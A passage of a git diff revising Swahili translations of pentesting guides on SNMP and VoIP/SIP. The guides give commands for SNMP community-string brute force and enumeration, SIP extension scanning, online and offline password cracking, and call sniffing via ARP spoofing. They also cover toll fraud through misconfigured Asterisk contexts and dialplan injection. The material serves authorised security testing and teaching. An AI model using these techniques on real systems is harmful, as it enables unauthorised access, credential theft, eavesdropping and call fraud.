na zinakupa taarifa za msingi kuhusu hivyo. Mfuatano huu wa nambari utakuwa sawa kwa OIDs zote, isipokuwa wakati kifaa kimeundwa na serikali. @@ -68,7 +68,7 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa. Kuna toleo 2 muhimu za SNMP: -- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**. +- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo la 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**. - **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2). ### Community Strings @@ -80,7 +80,7 @@ Kuna **aina 2 za mfuatano wa jamii**: - **`private`** **Soma/Andika** kwa ujumla Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** kama unapata kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\ -Ikiwa unajaribu **kuandika** kitu, **kosa `noSuchName` au `readOnly`** linapokelewa\*\*.\*\* +Ikiwa unajaribu **kuandika** kipengele, **kosa `noSuchName` au `readOnly` linapokelewa**. Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**. @@ -88,7 +88,7 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji [From Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): -- Wakala wa SNMP hupokea maombi kwenye bandari **161/UDP**. +- Wakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**. - Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) kwenye bandari **162**. - Wakati inapotumika na [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) au [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**. @@ -121,17 +121,17 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Shukrani kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo: +Shukrani kwa maswali ya kupanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kuyapata ya kuvutia ni: **Interfaces za Mtandao** (anwani za **IPv4** na **IPv6**), Majina ya Watumiaji, Wakati wa Uendeshaji, Toleo la Server/OS, na **mchakato** +**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Mifumo ya mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la Server/OS, na **mchakato** **unaotembea** (inaweza kuwa na nywila).... ### **Mipangilio Hatari** -Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kuhakikisha ufuatiliaji na udhibiti wa kina. +Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kwa kuhakikisha ufuatiliaji na udhibiti wa kina. ### Mipangilio ya Ufikiaji @@ -142,19 +142,19 @@ Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni sehem - **`rwcommunity`** kwa anwani za **IPv4**, na - **`rwcommunity6`** kwa anwani za **IPv6**. -Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali chanzo cha ombi. +Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi. ### Vigezo vya SNMP kwa Microsoft Windows -Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP: +Mfululizo wa **thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP: - **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo. - **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa. -- **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika. +- **Njia za Michakato**: Ili kubaini mahali ambapo mchakato unatembea, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika. - **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`. - **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika. - **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji. -- **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa port za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao. +- **Ports za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa ports za TCP za mitaa, ikitoa mwanga juu ya muunganisho hai wa mtandao. ### Cisco @@ -174,11 +174,11 @@ snmp-rce.md ## **SNMP Kubwa** -[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA. +[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya skanning HARAKA SANA. -Braa inatekeleza stack yake ya snmp, hivyo HAITAJI maktaba yoyote ya SNMP kama net-snmp. +Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp. -**Syntax:** braa \[Community-string]@\[IP ya server ya SNMP]:\[iso id] +**Syntax:** braa \[Community-string]@\[IP ya seva ya SNMP]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` @@ -200,19 +200,19 @@ grep -i "trap" *.snmp ``` ### **Majina ya Watumiaji/Maneno ya Siri** -Makaratasi yaliyohifadhiwa ndani ya MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Neno muhimu kama _fail_, _failed_, au _login_ linatafutwa ili kupata data muhimu: +Makaratasi yaliyohifadhiwa ndani ya meza za MIB yanachunguzwa kwa **jaribio la kuingia lililoshindwa**, ambalo linaweza kwa bahati mbaya kujumuisha maneno ya siri yaliyoingizwa kama majina ya watumiaji. Neno muhimu kama _fail_, _failed_, au _login_ linatafutwa ili kupata data muhimu: ```bash grep -i "login\|fail" *.snmp ``` ### **Barua pepe** -Hatimaye, ili kutoa **anwani za barua pepe** kutoka kwa data, amri ya **grep** yenye muundo wa kawaida inatumika, ikilenga mifumo inayolingana na muundo wa barua pepe: +Hatimaye, ili kupata **anwani za barua pepe** kutoka kwa data, amri ya **grep** yenye muundo wa kawaida inatumika, ikilenga mifumo inayolingana na muundo wa barua pepe: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ## Kubadilisha thamani za SNMP -Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nyota ya faragha** ili kufanya hivyo. +Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nywila ya faragha** ili kufanya hivyo. ## Kupotosha diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 76d684db3..1bc18fa6c 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 555 Push Notification Service Not Supported 580 Precondition Failure ``` -**6xx—Majibu ya Kushindwa kwa Kimataifa** +**6xx—Majibu ya Kushindwa kwa Ulimwengu** ``` 600 Busy Everywhere 603 Decline @@ -131,16 +131,16 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ### Telephone Numbers -Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti. +Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana ili kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti. -Mara tu unapokuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini operator: +Mara tu unapo kuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini mtoa huduma: - [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr) - [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Kujua kama operator anatoa huduma za VoIP unaweza kubaini kama kampuni inatumia VoIP... Aidha, inawezekana kwamba kampuni haijakodisha huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP na mtandao wa simu za jadi. +Kujua kama mtoa huduma anatoa huduma za VoIP unaweza kubaini kama kampuni inatumia VoIP... Aidha, inawezekana kwamba kampuni haijakodisha huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP na mtandao wa simu za jadi. Mambo kama majibu ya kiotomatiki ya muziki mara nyingi yanaashiria kwamba VoIP inatumika. @@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia multithread na inaweza skana maeneo makubwa ya mitandao. Inaruhusu kuonyesha kwa urahisi anuwai ya bandari, skana TCP na UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia multithread na inaweza skana maeneo makubwa ya mitandao. Inaruhusu kuashiria kwa urahisi anuwai ya bandari, skana TCP & UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -210,7 +210,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Extra Network Enumeration -PBX inaweza pia kuwa inatoa huduma zingine za mtandao kama vile: +PBX inaweza pia kuwa inatoa huduma nyingine za mtandao kama vile: - **69/UDP (TFTP)**: Sasisho za firmware - **80 (HTTP) / 443 (HTTPS)**: Kusimamia kifaa kutoka mtandaoni @@ -218,7 +218,7 @@ PBX inaweza pia kuwa inatoa huduma zingine za mtandao kama vile: - **3306 (MySQL)**: Hifadhidata ya MySQL - **5038 (Manager)**: Inaruhusu kutumia Asterisk kutoka majukwaa mengine - **5222 (XMPP)**: Ujumbe ukitumia Jabber -- Na zingine... +- Na nyingine... ### Methods Enumeration @@ -238,9 +238,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration -Extensions katika mfumo wa PBX (Private Branch Exchange) zinarejelea **vitambulisho vya ndani vya kipekee vilivyotolewa kwa simu za ndani, vifaa, au watumiaji** ndani ya shirika au biashara. Extensions zinawezesha **kuelekeza simu ndani ya shirika kwa ufanisi**, bila haja ya nambari za simu za nje kwa kila mtumiaji au kifaa. +Extensions katika mfumo wa PBX (Private Branch Exchange) zinarejelea **vitambulisho vya ndani vya kipekee vilivyotolewa kwa simu** za ndani, vifaa, au watumiaji ndani ya shirika au biashara. Extensions zinawezesha **kuelekeza simu ndani ya shirika kwa ufanisi**, bila haja ya nambari za simu za nje kwa kila mtumiaji au kifaa. -- **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya laini ya PBX ya SIP isiyo na malipo. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**. +- **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya laini ya PBX ya SIP isiyolipishwa. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` @@ -262,19 +262,19 @@ enumiax -v -m3 -M3 10.10.0.10 ### Password Brute-Force - online -Baada ya kugundua **PBX** na baadhi ya **extensions/usernames**, Timu Nyekundu inaweza kujaribu **kujiandikisha kupitia njia ya `REGISTER`** kwa extension ikitumia kamusi ya nywila za kawaida ili kufaulu kuingia. +Baada ya kugundua **PBX** na baadhi ya **extensions/usernames**, Timu Nyekundu inaweza kujaribu **kujiandikisha kupitia njia ya `REGISTER`** kwa extension ikitumia kamusi ya nywila za kawaida ili kujaribu nguvu za kujiandikisha. > [!CAUTION] -> Kumbuka kwamba **jina la mtumiaji** linaweza kuwa sawa na extension, lakini tabia hii inaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika... +> Kumbuka kwamba **username** inaweza kuwa sawa na extension, lakini tabia hii inaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika... > -> Ikiwa jina la mtumiaji si sawa na extension, itabidi **ujue jina la mtumiaji ili kulikabili**. +> Ikiwa username si sawa na extension, itabidi **ujue username ili kujaribu nguvu zake**. -- **`svcrack`** kutoka SIPVicious (`sudo apt install sipvicious`): SVCrack inakuwezesha kufungua nywila ya jina la mtumiaji/extension maalum kwenye PBX. +- **`svcrack`** kutoka SIPVicious (`sudo apt install sipvicious`): SVCrack inakuwezesha kuvunja nywila ya username/extension maalum kwenye PBX. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni mchoraji wa nywila wa mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika anwani tofauti za IP na anuwai za bandari. +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni kipanga password cha mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika anwani tofauti za IP na anuwai za port. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -284,21 +284,21 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP Sniffing -Ikiwa unapata vifaa vya VoIP ndani ya **Open Wifi network**, unaweza **kunasa taarifa zote**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **MitM attacks kama** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) kati ya **PBX na gateway** ili kunasa taarifa. +Ikiwa utapata vifaa vya VoIP ndani ya **Open Wifi network**, unaweza **sniff all the information**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) kati ya **PBX na gateway** ili kuweza sniff taarifa. -Kati ya taarifa za mtandao, unaweza kupata **web credentials** za kusimamia vifaa, **extensions** za watumiaji, **jina la mtumiaji**, anwani za **IP**, hata **hashed passwords** na **RTP packets** ambazo unaweza kuzirejesha ili **kusikia mazungumzo**, na zaidi. +Kati ya taarifa za mtandao, unaweza kupata **web credentials** za kusimamia vifaa, **extensions** za watumiaji, **username**, anwani za **IP**, hata **hashed passwords** na **RTP packets** ambazo unaweza kuzirejesha ili **hear the conversation**, na zaidi. -Ili kupata taarifa hizi unaweza kutumia zana kama Wireshark, tcpdump... lakini **zana iliyoundwa mahsusi kunasa mazungumzo ya VoIP ni** [**ucsniff**](https://github.com/Seabreg/ucsniff). +Ili kupata taarifa hii unaweza kutumia zana kama Wireshark, tcpdump... lakini **specially created tool to sniff VoIP conversations is** [**ucsniff**](https://github.com/Seabreg/ucsniff). > [!CAUTION] > Kumbuka kwamba ikiwa **TLS inatumika katika mawasiliano ya SIP** huwezi kuona mawasiliano ya SIP kwa uwazi.\ -> Hali hiyo itatokea ikiwa **SRTP** na **ZRTP** vinatumika, **RTP packets hazitakuwa katika maandiko ya wazi**. +> Hali hiyo itatokea ikiwa **SRTP** na **ZRTP** vinatumika, **RTP packets won't be in clear text**. #### SIP credentials (Password Brute-Force - offline) -[Angalia mfano huu ili kuelewa vyema **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **credentials zinavyotumwa**. +[Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **credentials being sent**. -- **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **kutoa** kutoka kwa **pcap** **digest authentications** ndani ya protokali ya SIP na **bruteforce** hizo. +- **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **extract** kutoka kwa **pcap** **digest authentications** ndani ya protokali ya SIP na **bruteforce** hizo. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -307,18 +307,18 @@ sipcrack sip-creds.txt -w dict.txt ```bash sippts dump -f capture.pcap -o data.txt ``` -- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack ni chombo cha kuvunja uthibitisho wa muhtasari uliopatikana na SIPPTS dump. +- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack ni chombo cha kuvunja uthibitisho wa muhtasari ulio pata kwa kutumia SIPPTS dump. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` -- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark inatoa data ya protokali ya SIP kutoka faili ya PCAP. +- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark inatoa data ya protokali ya SIP kutoka faili la PCAP. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF codes **Sio tu akreditif za SIP** zinaweza kupatikana katika trafiki ya mtandao, pia inawezekana kupata nambari za DTMF ambazo zinatumika kwa mfano kufikia **voicemail**.\ -Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **sauti** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa: +Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **audio** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa: ```bash multimon -a DTMF -t wac pin.wav ``` @@ -337,25 +337,25 @@ Ili kufafanua watumiaji wanaweza kufafanuliwa kama: - **`type=friend`**: Inawezekana kufanya simu kama rika na kuzipokea kama mtumiaji (inatumika na nyongeza) - **`type=peer`**: Inawezekana kutuma na kupokea simu kama rika (SIP-trunks) -Pia inawezekana kuanzisha uaminifu na kigezo kisichokuwa salama: +Pia inawezekana kuanzisha uaminifu na variable isiyo salama: - **`insecure=port`**: Inaruhusu muunganisho wa rika ulioidhinishwa na IP. - **`insecure=invite`**: Haihitaji uthibitisho kwa ujumbe wa INVITE -- **`insecure=port,invite`**: Zote mbili +- **`insecure=port,invite`**: Zote > [!WARNING] -> Wakati **`type=friend`** inatumika, **thamani** ya kigezo cha **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**. +> Wakati **`type=friend`** inatumika, **thamani** ya variable ya **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**. > -> Kwa mfano, usanidi huu utakuwa na hatari:\ +> Kwa mfano, usanifu huu utakuwa na hatari:\ > `host=10.10.10.10`\ > `insecure=port,invite`\ > `type=friend` ### Simu za Bure / Makosa ya Muktadha wa Asterisks -Katika Asterisk, **muktadha** ni chombo au sehemu yenye jina katika mpango wa kupiga simu ambayo **inaunganisha nyongeza, hatua, na sheria zinazohusiana**. Mpango wa kupiga simu ni kipengele cha msingi cha mfumo wa Asterisk, kwani unafafanua **jinsi simu zinazokuja na zinazotoka zinavyoshughulikiwa na kuelekezwa**. Muktadha hutumiwa kuandaa mpango wa kupiga simu, kudhibiti ufikiaji, na kutoa utenganisho kati ya sehemu tofauti za mfumo. +Katika Asterisk, **muktadha** ni chombo au sehemu yenye jina katika mpango wa kupiga simu ambayo **inaunganisha nyongeza, vitendo, na sheria zinazohusiana**. Mpango wa kupiga simu ni kipengele cha msingi cha mfumo wa Asterisk, kwani unafafanua **jinsi simu zinazokuja na zinazotoka zinavyoshughulikiwa na kuelekezwa**. Muktadha hutumiwa kuandaa mpango wa kupiga simu, kudhibiti ufikiaji, na kutoa utenganisho kati ya sehemu tofauti za mfumo. -Kila muktadha umeainishwa katika faili ya usanidi, kawaida katika faili ya **`extensions.conf`**. Muktadha huonyeshwa kwa mabano ya mraba, huku jina la muktadha likiwa ndani yao. Kwa mfano: +Kila muktadha umeainishwa katika faili ya usanifu, kawaida katika faili ya **`extensions.conf`**. Muktadha huonyeshwa kwa mabano ya mraba, huku jina la muktadha likiwa ndani yao. Kwa mfano: ```bash csharpCopy code[my_context] ``` @@ -368,7 +368,7 @@ exten => 100,n,Hangup() ``` Hii mfano inaonyesha muktadha rahisi unaoitwa "my_context" na nyongeza "100". Wakati mtu anapopiga 100, simu itajibiwa, ujumbe wa kukaribisha utachezwa, na kisha simu itakatishwa. -Huu ni **muktadha mwingine** unaoruhusu **kupiga nambari nyingine yoyote**: +Hii ni **muktadha mwingine** unaoruhusu **kupiga nambari nyingine yoyote**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) @@ -383,11 +383,11 @@ include => external > Mtu yeyote ataweza kutumia **server kuita nambari nyingine yoyote** (na msimamizi wa server atagharamia simu hiyo). > [!CAUTION] -> Zaidi ya hayo, kwa kawaida **faili ya `sip.conf`** ina **`allowguest=true`**, hivyo **mtu yeyote** mwenye **hakuna uthibitisho** ataweza kuita nambari nyingine yoyote. +> Zaidi ya hayo, kwa kawaida faili ya **`sip.conf`** ina **`allowguest=true`**, hivyo **mshambuliaji yeyote** asiye na **uthibitisho** ataweza kuita nambari nyingine yoyote. - **`SIPPTS invite`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite inakagua kama **server ya PBX inaturuhusu kufanya simu bila uthibitisho**. Ikiwa server ya SIP ina usanidi usio sahihi, itaturuhusu kufanya simu kwa nambari za nje. Pia inaweza kuturuhusu kuhamasisha simu kwa nambari ya pili ya nje. -Kwa mfano, ikiwa server yako ya Asterisk ina usanidi mbaya wa muktadha, unaweza kukubali ombi la INVITE bila idhini. Katika kesi hii, mshambuliaji anaweza kufanya simu bila kujua mtumiaji/nywila yoyote. +Kwa mfano, ikiwa server yako ya Asterisk ina usanidi mbaya wa muktadha, unaweza kukubali ombi la INVITE bila idhini. Katika kesi hii, mshambuliaji anaweza kufanya simu bila kujua mtumiaji/nenosiri lolote. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -397,7 +397,7 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Free calls / Misconfigured IVRS -IVRS inamaanisha **Interactive Voice Response System**, teknolojia ya simu inayowezesha watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la tone. IVRS inatumika kujenga **automated call handling** mifumo inayotoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji. +IVRS inamaanisha **Mfumo wa Majibu ya Sauti ya Kichakataji**, teknolojia ya simu inayowezesha watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la tone. IVRS inatumika kujenga **mifumo ya kushughulikia simu kiotomatiki** ambayo inatoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji. IVRS katika mifumo ya VoIP kwa kawaida inajumuisha: @@ -407,7 +407,7 @@ IVRS katika mifumo ya VoIP kwa kawaida inajumuisha: 4. **User input capture**: Kukusanya taarifa kutoka kwa wapiga simu, kama vile nambari za akaunti, vitambulisho vya kesi, au data nyingine yoyote muhimu. 5. **Integration with external systems**: Kuunganisha mfumo wa IVR na hifadhidata au mifumo mingine ya programu ili kufikia au kusasisha taarifa, kutekeleza vitendo, au kuanzisha matukio. -Katika mfumo wa Asterisk VoIP, unaweza kuunda IVR kwa kutumia mpango wa kupiga (**`extensions.conf`** file) na programu mbalimbali kama `Background()`, `Playback()`, `Read()`, na zaidi. Programu hizi zinakusaidia kucheza sauti za maelekezo, kukamata ingizo la mtumiaji, na kudhibiti mtiririko wa simu. +Katika mfumo wa Asterisk VoIP, unaweza kuunda IVR kwa kutumia mpango wa kupiga simu (**`extensions.conf`** file) na programu mbalimbali kama `Background()`, `Playback()`, `Read()`, na zaidi. Programu hizi zinakusaidia kucheza sauti za kuongoza, kukamata ingizo la mtumiaji, na kudhibiti mtiririko wa simu. #### Example of vulnerable configuration ```scss @@ -418,11 +418,9 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Kielelezo kilichopita ni mfano ambapo mtumiaji anaombwa **kubonyeza 1 ili kupiga** idara, **2 ili kupiga** nyingine, au **nambari kamili** ikiwa anajua.\ -Uthibitisho wa udhaifu ni ukweli kwamba **urefu wa nambari haujakaguliwa, hivyo mtumiaji anaweza kuingiza muda wa sekunde 5 nambari kamili na itapigwa.** +Uthibitisho wa udhaifu ni ukweli kwamba **urefu wa nambari haujakaguliwa, hivyo mtumiaji anaweza kuingiza muda wa sekunde 5 kama nambari kamili na itapigwa.** ### Uingizaji wa Nambari - -Kutumia nambari kama: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` @@ -434,23 +432,23 @@ Hata hivyo, ikiwa **`${EXTEN}`** inaruhusu kuingiza **zaidi ya nambari** (kama k ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni kiendelezi cha kwanza pekee kitakachopokea simu... lakini ikiwa mshambuliaji atatumia **kiendelezi kinachopitisha mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**. +Kwa hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni kiendelezi cha kwanza pekee kinachopokea simu kitakachowekwa... lakini ikiwa mshambuliaji atatumia **kiendelezi kinachopitisha mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**. ## Uthibitisho wa SIPDigestLeak -SIP Digest Leak ni udhaifu unaoathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na simu za IP za vifaa na programu pamoja na adapta za simu (VoIP hadi analojia). 